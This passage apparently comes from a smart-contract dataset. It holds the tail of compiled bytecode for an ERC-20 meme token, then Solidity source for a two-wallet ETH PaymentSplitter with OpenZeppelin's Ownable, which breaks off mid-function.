06c2578063452ed4f1146106e257600080fd5b80631a221dbb116103de57806323b872dd116103a257806323b872dd1461060a57806327c8f8351461062a5780632c3e486c146106405780632e6ed7ef146106565780632e82f1a01461067657600080fd5b80631a221dbb146105925780631a8145bb146105a85780631f3fed8f146105be5780631fe70a98146105d4578063203e727e146105ea57600080fd5b8063161c3d9311610425578063161c3d931461051957806318160ddd1461052f5780631816467f14610544578063184c16c514610566578063199ffc721461057c57600080fd5b806306fdde03146104625780630758d9241461048d578063095ea7b3146104c55780630b166d50146104f557600080fd5b3661045d57005b600080fd5b34801561046e57600080fd5b50610477610d09565b6040516104849190613987565b60405180910390f35b34801561049957600080fd5b506006546104ad906001600160a01b031681565b6040516001600160a01b039091168152602001610484565b3480156104d157600080fd5b506104e56104e03660046139f4565b610d9b565b6040519015158152602001610484565b34801561050157600080fd5b5061050b60285481565b604051908152602001610484565b34801561052557600080fd5b5061050b60125481565b34801561053b57600080fd5b5060025461050b565b34801561055057600080fd5b5061056461055f366004613a20565b610db1565b005b34801561057257600080fd5b5061050b60175481565b34801561058857600080fd5b5061050b60135481565b34801561059e57600080fd5b5061050b60245481565b3480156105b457600080fd5b5061050b60275481565b3480156105ca57600080fd5b5061050b60265481565b3480156105e057600080fd5b5061050b601f5481565b3480156105f657600080fd5b50610564610605366004613a44565b610e41565b34801561061657600080fd5b506104e5610625366004613a5d565b610f16565b34801561063657600080fd5b506104ad61dead81565b34801561064c57600080fd5b5061050b60155481565b34801561066257600080fd5b50610564610671366004613a9e565b610fc0565b34801561068257600080fd5b506014546104e59060ff1681565b34801561069c57600080fd5b5060405160128152602001610484565b3480156106b857600080fd5b5061050b60115481565b3480156106ce57600080fd5b506104e56106dd3660046139f4565b611079565b3480156106ee57600080fd5b506007546104ad906001600160a01b031681565b34801561070e57600080fd5b506019546104e59060ff1681565b34801561072857600080fd5b506104e5610737366004613a20565b6001600160a01b03166000908152602a602052604090205460ff1690565b34801561076157600080fd5b506105646110b5565b34801561077657600080fd5b506104e56111be565b34801561078b57600080fd5b506104e561079a366004613a20565b602b6020526000908152604090205460ff1681565b3480156107bb57600080fd5b5061050b600f5481565b3480156107d157600080fd5b5061050b60215481565b3480156107e757600080fd5b506019546104e59062010000900460ff1681565b34801561080757600080fd5b5061050b610816366004613a20565b6111d8565b34801561082757600080fd5b506105646111f3565b34801561083c57600080fd5b5061056461084b366004613ae0565b611267565b34801561085c57600080fd5b50610564611390565b34801561087157600080fd5b506010546104e59060ff1681565b34801561088b57600080fd5b5061056461089a366004613b15565b6113c6565b3480156108ab57600080fd5b506008546104ad906001600160a01b031681565b3480156108cb57600080fd5b5061050b601d5481565b3480156108e157600080fd5b506105646108f0366004613a44565b61141b565b34801561090157600080fd5b506005546001600160a01b03166104ad565b34801561091f57600080fd5b506009546104ad906001600160a01b031681565b34801561093f57600080fd5b5061050b60225481565b34801561095557600080fd5b50610564610964366004613b4a565b611857565b34801561097557600080fd5b5061047761189d565b34801561098a57600080fd5b50610564610999366004613b15565b6118ac565b3480156109aa57600080fd5b5061050b60205481565b3480156109c057600080fd5b5061050b60185481565b3480156109d657600080fd5b5061050b60295481565b3480156109ec57600080fd5b5061050b60255481565b348015610a0257600080fd5b506104e5610a113660046139f4565b611968565b348015610a2257600080fd5b5061050b60165481565b348015610a3857600080fd5b506104e5610a473660046139f4565b611a01565b348015610a5857600080fd5b50610564610a67366004613a20565b611a0e565b348015610a7857600080fd5b50610477611a95565b348015610a8d57600080fd5b506104e5610a9c366004613a20565b602c6020526000908152604090205460ff1681565b348015610abd57600080fd5b506019546104e590610100900460ff1681565b348015610adc57600080fd5b50610564610aeb366004613b15565b611b23565b348015610afc57600080fd5b50610564610b0b366004613a44565b611bac565b348015610b1c57600080fd5b50601b546104e59060ff1681565b348015610b3657600080fd5b5061050b600c5481565b348015610b4c57600080fd5b506104e5610b5b366004613a44565b611c7b565b348015610b6c57600080fd5b50610477611dd2565b348015610b8157600080fd5b5061050b601c5481565b348015610b9757600080fd5b50610564610ba6366004613ae0565b611ddf565b348015610bb757600080fd5b5061050b610bc6366004613b65565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610bfd57600080fd5b5061050b600d5481565b348015610c1357600080fd5b50610564610c22366004613a9e565b611f18565b348015610c3357600080fd5b50610564611fcb565b348015610c4857600080fd5b5061050b600b5481565b348015610c5e57600080fd5b5061050b601e5481565b348015610c7457600080fd5b50610564610c83366004613a20565b612001565b348015610c9457600080fd5b506105646120ec565b348015610ca957600080fd5b5061050b60235481565b348015610cbf57600080fd5b5061050b600e5481565b348015610cd557600080fd5b50610564610ce4366004613a44565b6121c4565b348015610cf557600080fd5b50610564610d04366004613a44565b612422565b606060038054610d1890613b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d4490613b9e565b8015610d915780601f10610d6657610100808354040283529160200191610d91565b820191906000526020600020905b815481529060010190602001808311610d7457829003601f168201915b5050505050905090565b6000610da833848461265f565b50600192915050565b6005546001600160a01b03163314610de45760405162461bcd60e51b8152600401610ddb90613bd9565b60405180910390fd5b6009546040516001600160a01b03918216918316907f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb87190600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610e6b5760405162461bcd60e51b8152600401610ddb90613bd9565b670de0b6b3a76400006103e8610e8060025490565b610e8b906005613c24565b610e959190613c43565b610e9f9190613c43565b811015610efe5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d617854786e416d6f756e74206c6f776572207468604482015266616e20302e352560c81b6064820152608401610ddb565b610f1081670de0b6b3a7640000613c24565b600c5550565b6000610f23848484612783565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610fa85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ddb565b610fb5853385840361265f565b506001949350505050565b6005546001600160a01b03163314610fea5760405162461bcd60e51b8152600401610ddb90613bd9565b601d849055601e839055601f8290556020819055808261100a8587613c65565b6110149190613c65565b61101e9190613c65565b601c819055601410156110735760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610ddb565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610da89185906110b0908690613c65565b61265f565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610ddb90613bd9565b600d546110eb306111d8565b1015611161576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610ddb565b6007805460ff60a01b1916600160a01b17905561117c61317f565b6007805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6000600a54436111ce9190613c7d565b600b541015905090565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b0316331461121d5760405162461bcd60e51b8152600401610ddb90613bd9565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610ddb90613bd9565b6102588310156112ff5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610ddb565b6103e8821115801561130f575060015b6113745760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20312520616e642031302560801b6064820152608401610ddb565b6015929092556013556014805460ff1916911515919091179055565b6005546001600160a01b031633146113ba5760405162461bcd60e51b8152600401610ddb90613bd9565b6019805460ff19169055565b6005546001600160a01b031633146113f05760405162461bcd60e51b8152600401610ddb90613bd9565b6001600160a01b03919091166000908152602b60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610ddb90613bd9565b601954610100900460ff16156114b15760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610ddb565b600a81905560408051808201909152600b8082526a427572676572204b6f6e6760a81b60209092019182526114e8916003916138ee565b5060408051808201909152600280825261424b60f01b6020909201918252611512916004916138ee565b506019805462ffff0019166201010017905543600b554260165560068054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911681179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015611592573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b69190613c94565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611603573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116279190613c94565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611674573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116989190613c94565b600780546001600160a01b0319166001600160a01b039290921691821790556116c29060016113c6565b6007546116d9906001600160a01b03166001613434565b600047116117355760405162461bcd60e51b815260206004820152602360248201527f4d757374206861766520455448206f6e20636f6e747261637420746f206c61756044820152620dcc6d60eb1b6064820152608401610ddb565b6000611740306111d8565b1161179c5760405162461bcd60e51b815260206004820152602660248201527f4d757374206861766520546f6b656e73206f6e20636f6e747261637420746f206044820152650d8c2eadcc6d60d31b6064820152608401610ddb565b6006546117b79030906001600160a01b03166110b0826111d8565b6006546001600160a01b031663f305d71947306117d3816111d8565b60008073b98d1576acca7ab82b1c4c6c39788c2374342285426040518863ffffffff1660e01b815260040161180d96959493929190613cb1565b60606040518083038185885af115801561182b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118509190613cec565b5050505050565b6005546001600160a01b031633146118815760405162461bcd60e51b8152600401610ddb90613bd9565b60198054911515620100000262ff000019909216919091179055565b606060048054610d1890613b9e565b6005546001600160a01b031633146118d65760405162461bcd60e51b8152600401610ddb90613bd9565b6007546001600160a01b038381169116141561195a5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ddb565b6119648282613434565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156119ea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ddb565b6119f7338585840361265f565b5060019392505050565b6000610da8338484612783565b6005546001600160a01b03163314611a385760405162461bcd60e51b8152600401610ddb90613bd9565b6008546040516001600160a01b03918216918316907f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6790600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048054611aa290613b9e565b80601f0160208091040260200160405190810160405280929190818152602001828054611ace90613b9e565b8015611b1b5780601f10611af057610100808354040283529160200191611b1b565b820191906000526020600020905b815481529060010190602001808311611afe57829003601f168201915b505050505081565b6005546001600160a01b03163314611b4d5760405162461bcd60e51b8152600401610ddb90613bd9565b6001600160a01b0382166000818152602a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611bd65760405162461bcd60e51b8152600401610ddb90613bd9565b670de0b6b3a76400006064611bea60025490565b611bf5906001613c24565b611bff9190613c43565b611c099190613c43565b811015611c635760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015261312560f01b6064820152608401610ddb565b611c7581670de0b6b3a7640000613c24565b600e5550565b6005546000906001600160a01b03163314611ca85760405162461bcd60e51b8152600401610ddb90613bd9565b620186a0611cb560025490565b611cc0906001613c24565b611cca9190613c43565b821015611d375760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ddb565b6103e8611d4360025490565b611d4e906005613c24565b611d589190613c43565b821115611dc45760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ddb565b50600d81905560015b919050565b60038054611aa290613b9e565b6005546001600160a01b03163314611e095760405162461bcd60e51b8152600401610ddb90613bd9565b601e831015611e765760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203330207365636f6e647360681b6064820152608401610ddb565b671bc16d674ec800008211158015611e95575066b1a2bc2ec500008210155b611efc5760405162461bcd60e51b815260206004820152603260248201527f4d75737420736574206175746f206275796261636b20616d6f756e74206265746044820152710eecacadc405c606a40c2dcc84064408aa8960731b6064820152608401610ddb565b601192909255600f556010805460ff1916911515919091179055565b6005546001600160a01b03163314611f425760405162461bcd60e51b8152600401610ddb90613bd9565b60228490556023839055602482905560258190558082611f628587613c65565b611f6c9190613c65565b611f769190613c65565b6021819055601910156110735760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610ddb565b6005546001600160a01b03163314611ff55760405162461bcd60e51b8152600401610ddb90613bd9565b601b805460ff19169055565b6005546001600160a01b0316331461202b5760405162461bcd60e51b8152600401610ddb90613bd9565b6001600160a01b0381166120905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ddb565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146121165760405162461bcd60e51b8152600401610ddb90613bd9565b601954610100900460ff16156121825760405162461bcd60e51b815260206004820152602b60248201527f43616e206f6e6c792077697468647261772069662074726164696e672068617360448201526a1b89dd081cdd185c9d195960aa1b6064820152608401610ddb565b604051600090339047908381818185875af1925050503d8060008114611073576040519150601f19603f3d011682016040523d82523d6000602084013e611073565b6005546001600160a01b031633146121ee5760405162461bcd60e51b8152600401610ddb90613bd9565b678ac7230489e8000081111561227c5760405162461bcd60e51b815260206004820152604760248201527f4d6179206e6f7420627579206d6f7265207468616e2031302045544820696e2060448201527f612073696e676c652062757920746f207265647563652073616e64776963682060648201526661747461636b7360c81b608482015260a401610ddb565b600060025b6040519080825280602002602001820160405280156122aa578160200160208202803683370190505b509050600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123249190613c94565b8160008151811061233757612337613d1a565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061236b5761236b613d1a565b6001600160a01b03928316602091820292909201015260065460405163b6f9de9560e01b815291169063b6f9de959084906123b390600090869061dead904290600401613d74565b6000604051808303818588803b1580156123cc57600080fd5b505af11580156123e0573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d6848205688260405161241691815260200190565b60405180910390a15050565b6005546001600160a01b0316331461244c5760405162461bcd60e51b8152600401610ddb90613bd9565b60175460185461245c9190613c65565b42116124aa5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610ddb565b6103e881111561250f5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610ddb565b426018556007546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa15801561255e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125829190613da9565b905060006127106125938484613c24565b61259d9190613c43565b905080156125be576007546125be906001600160a01b031661dead83613488565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b15801561260857600080fd5b505af115801561261c573d6000803e3d6000fd5b505050507f01dfa9a7a5ffd5f2630a016e754405184a66ca529745e85abd52e47e76ec70d68260405161265191815260200190565b60405180910390a150505050565b6001600160a01b0383166126c15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ddb565b6001600160a01b0382166127225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ddb565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166127a95760405162461bcd60e51b8152600401610ddb90613dc2565b6001600160a01b0382166127cf5760405162461bcd60e51b8152600401610ddb90613e07565b806127e5576127e083836000613488565b505050565b601954610100900460ff16612878576001600160a01b0383166000908152602a602052604090205460ff168061283357506001600160a01b0382166000908152602a602052604090205460ff165b6128785760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ddb565b60195460ff1615612c89576005546001600160a01b038481169116148015906128af57506005546001600160a01b03838116911614155b80156128c357506001600160a01b03821615155b80156128da57506001600160a01b03821661dead14155b80156128f05750600754600160a01b900460ff16155b801561291557506001600160a01b0382166000908152602a602052604090205460ff16155b801561293a57506001600160a01b0383166000908152602a602052604090205460ff16155b15612c8957601b5460ff1615612a53576006546001600160a01b0383811691161480159061297657506007546001600160a01b03838116911614155b15612a5357612986600143613c7d565b326000908152601a60205260409020541080156129c457506129a9600143613c7d565b6001600160a01b0383166000908152601a6020526040902054105b612a2e5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b6064820152608401610ddb565b326000908152601a602052604080822043908190556001600160a01b03851683529120555b6001600160a01b0383166000908152602c602052604090205460ff168015612a9457506001600160a01b0382166000908152602b602052604090205460ff16155b15612b6057600c54811115612b015760405162461bcd60e51b815260206004820152602d60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526c36b0bc2a3c3720b6b7bab73a1760991b6064820152608401610ddb565b600e54612b0d836111d8565b612b179083613c65565b1115612b5b5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ddb565b612c89565b6001600160a01b0382166000908152602c602052604090205460ff168015612ba157506001600160a01b0383166000908152602b602052604090205460ff16155b15612c0f57600c54811115612b5b5760405162461bcd60e51b815260206004820152602e60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526d1036b0bc2a3c3720b6b7bab73a1760911b6064820152608401610ddb565b6001600160a01b0382166000908152602b602052604090205460ff16612c8957600e54612c3b836111d8565b612c459083613c65565b1115612c895760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ddb565b6000612c94306111d8565b600d5490915081108015908190612cb3575060195462010000900460ff165b8015612cc95750600754600160a01b900460ff16155b8015612cee57506001600160a01b0385166000908152602c602052604090205460ff16155b8015612d1357506001600160a01b0385166000908152602a602052604090205460ff16155b8015612d3857506001600160a01b0384166000908152602a602052604090205460ff16155b15612d66576007805460ff60a01b1916600160a01b179055612d5861317f565b6007805460ff60a01b191690555b600754600160a01b900460ff16158015612d9857506001600160a01b0384166000908152602c602052604090205460ff165b8015612da6575060145460ff165b8015612dc15750601554601654612dbd9190613c65565b4210155b8015612de657506001600160a01b0385166000908152602a602052604090205460ff16155b15612df357612df36135dd565b600754600160a01b900460ff16158015612e2557506001600160a01b0384166000908152602c602052604090205460ff165b8015612e33575060105460ff165b8015612e4e5750601154601254612e4a9190613c65565b4210155b8015612e7357506001600160a01b0385166000908152602a602052604090205460ff16155b8015612e815750600f544710155b15612e9157612e91600f54613730565b6007546001600160a01b0386166000908152602a602052604090205460ff600160a01b909204821615911680612edf57506001600160a01b0385166000908152602a602052604090205460ff165b15612ee8575060005b6000811561316b57612ef86111be565b8015612f1c57506001600160a01b0387166000908152602c602052604090205460ff165b15613001576064612f2e866063613c24565b612f389190613c43565b905060215460235482612f4b9190613c24565b612f559190613c43565b60276000828254612f669190613c65565b9091555050602154602454612f7b9083613c24565b612f859190613c43565b60286000828254612f969190613c65565b9091555050602154602254612fab9083613c24565b612fb59190613c43565b60266000828254612fc69190613c65565b9091555050602154602554612fdb9083613c24565b612fe59190613c43565b60296000828254612ff69190613c65565b9091555061314d9050565b6001600160a01b0386166000908152602c602052604090205460ff16801561302b57506000602154115b1561304057606460215486612f2e9190613c24565b6001600160a01b0387166000908152602c602052604090205460ff16801561306a57506000601c54115b1561314d576064601c548661307f9190613c24565b6130899190613c43565b9050601c54601e548261309c9190613c24565b6130a69190613c43565b602760008282546130b79190613c65565b9091555050601c54601f546130cc9083613c24565b6130d69190613c43565b602860008282546130e79190613c65565b9091555050601c54601d546130fc9083613c24565b6131069190613c43565b602660008282546131179190613c65565b9091555050601c5460205461312c9083613c24565b6131369190613c43565b602960008282546131479190613c65565b90915550505b801561315e5761315e873083613488565b6131688186613c7d565b94505b613176878787613488565b50505050505050565b600061318a306111d8565b905060006029546028546026546027546131a49190613c65565b6131ae9190613c65565b6131b89190613c65565b905060008215806131c7575081155b156131d157505050565b600d546131df906014613c24565b8311156131f757600d546131f4906014613c24565b92505b60006002836027548661320a9190613c24565b6132149190613c43565b61321e9190613c43565b9050600061322c8286613c7d565b9050476132388261373d565b60006132448247613c7d565b9050600060026027546132579190613c43565b6132619088613c7d565b60265461326e9084613c24565b6132789190613c43565b90506000600260275461328b9190613c43565b6132959089613c7d565b6028546132a29085613c24565b6132ac9190613c43565b9050600060026027546132bf9190613c43565b6132c9908a613c7d565b6029546132d69086613c24565b6132e09190613c43565b9050600081836132f08688613c7d565b6132fa9190613c7d565b6133049190613c7d565b600060278190556026819055602881905560298190556009546040519293506001600160a01b031691849181818185875af1925050503d8060008114613366576040519150601f19603f3d011682016040523d82523d6000602084013e61336b565b606091505b5050600854604051919a506001600160a01b0316908590600081818185875af1925050503d80600081146133bb576040519150601f19603f3d011682016040523d82523d6000602084013e6133c0565b606091505b509099505087158015906133d45750600081115b15613427576133e38882613897565b602754604080518981526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b5050505050505050505050565b6001600160a01b0382166000818152602c6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166134ae5760405162461bcd60e51b8152600401610ddb90613dc2565b6001600160a01b0382166134d45760405162461bcd60e51b8152600401610ddb90613e07565b6001600160a01b0383166000908152602081905260409020548181101561354c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ddb565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290613583908490613c65565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516135cf91815260200190565b60405180910390a350505050565b426016556007546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a0823190602401602060405180830381865afa15801561362c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136509190613da9565b90506000612710601354836136659190613c24565b61366f9190613c43565b9050801561369057600754613690906001600160a01b031661dead83613488565b6007546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b1580156136da57600080fd5b505af11580156136ee573d6000803e3d6000fd5b505050507f6f57447c7d0d492231a83fb5442fa4aab5203af719a9a9ebf5f93ff4dfaa16868260405161372391815260200190565b60405180910390a1505050565b4260125560006002612281565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061377257613772613d1a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156137cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ef9190613c94565b8160018151811061380257613802613d1a565b6001600160a01b039283166020918202929092010152600654613828913091168461265f565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790613861908590600090869030904290600401613e4a565b600060405180830381600087803b15801561387b57600080fd5b505af115801561388f573d6000803e3d6000fd5b505050505050565b6006546138af9030906001600160a01b03168461265f565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061180d9030908790600090819061dead904290600401613cb1565b8280546138fa90613b9e565b90600052602060002090601f01602090048101928261391c5760008555613962565b82601f1061393557805160ff1916838001178555613962565b82800160010185558215613962579182015b82811115613962578251825591602001919060010190613947565b5061396e929150613972565b5090565b5b8082111561396e5760008155600101613973565b600060208083528351808285015260005b818110156139b457858101830151858201604001528201613998565b818111156139c6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146139f157600080fd5b50565b60008060408385031215613a0757600080fd5b8235613a12816139dc565b946020939093013593505050565b600060208284031215613a3257600080fd5b8135613a3d816139dc565b9392505050565b600060208284031215613a5657600080fd5b5035919050565b600080600060608486031215613a7257600080fd5b8335613a7d816139dc565b92506020840135613a8d816139dc565b929592945050506040919091013590565b60008060008060808587031215613ab457600080fd5b5050823594602084013594506040840135936060013592509050565b80358015158114611dcd57600080fd5b600080600060608486031215613af557600080fd5b8335925060208401359150613b0c60408501613ad0565b90509250925092565b60008060408385031215613b2857600080fd5b8235613b33816139dc565b9150613b4160208401613ad0565b90509250929050565b600060208284031215613b5c57600080fd5b613a3d82613ad0565b60008060408385031215613b7857600080fd5b8235613b83816139dc565b91506020830135613b93816139dc565b809150509250929050565b600181811c90821680613bb257607f821691505b60208210811415613bd357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615613c3e57613c3e613c0e565b500290565b600082613c6057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115613c7857613c78613c0e565b500190565b600082821015613c8f57613c8f613c0e565b500390565b600060208284031215613ca657600080fd5b8151613a3d816139dc565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215613d0157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015613d695781516001600160a01b031687529582019590820190600101613d44565b509495945050505050565b848152608060208201526000613d8d6080830186613d30565b6001600160a01b03949094166040830152506060015292915050565b600060208284031215613dbb57600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b85815284602082015260a060408201526000613e6960a0830186613d30565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212200aa5f13bb0748e8412d8ccbb480075bb94a967f426fe1170915252e5c98021d064736f6c634300080b0033
[ 21, 6, 4, 7, 19, 11, 9, 13, 5 ]
0xF276Afa91bCBacFADE4d7920553C59F7f6034f60
//SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract PaymentSplitter is Ownable { uint256[] public shares = [500, 500]; address payable[] wallets = [ payable(0x106eB253b98b9c3A016dD002c1aC99226C11e8B6), payable(0xF4AD60FB596596EC33EaA420a300bE75853a110E) ]; function setWallets( address payable[] memory _wallets, uint256[] memory _shares ) public onlyOwner { require(_wallets.length == _shares.length, "!l"); wallets = _wallets; shares = _shares; } function _split(uint256 amount) internal { // duplicated to save an extra call bool sent; uint256 _total; for (uint256 j = 0; j < wallets.length; j++) { uint256 _amount = (amount * shares[j]) / 1000; if (j == wallets.length - 1) { _amount = amount - _total; } else { _total += _amount; } (sent, ) = wallets[j].call{value: _amount}(""); // don't use send or xfer (gas) require(sent, "Failed to send Ether"); } } receive() external payable { _split(msg.value); } function retrieveERC20(IERC20 _token) external onlyOwner { if (address(_token) == 0x0000000000000000000000000000000000000000) { payable(owner()).transfer(address(this).balance); } else { _token.transfer(owner(), _token.balanceOf(address(this))); } } function retrieve721(address _tracker, uint256 _id) external onlyOwner { IERC721(_tracker).transferFrom(address(this), msg.sender, _id); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function 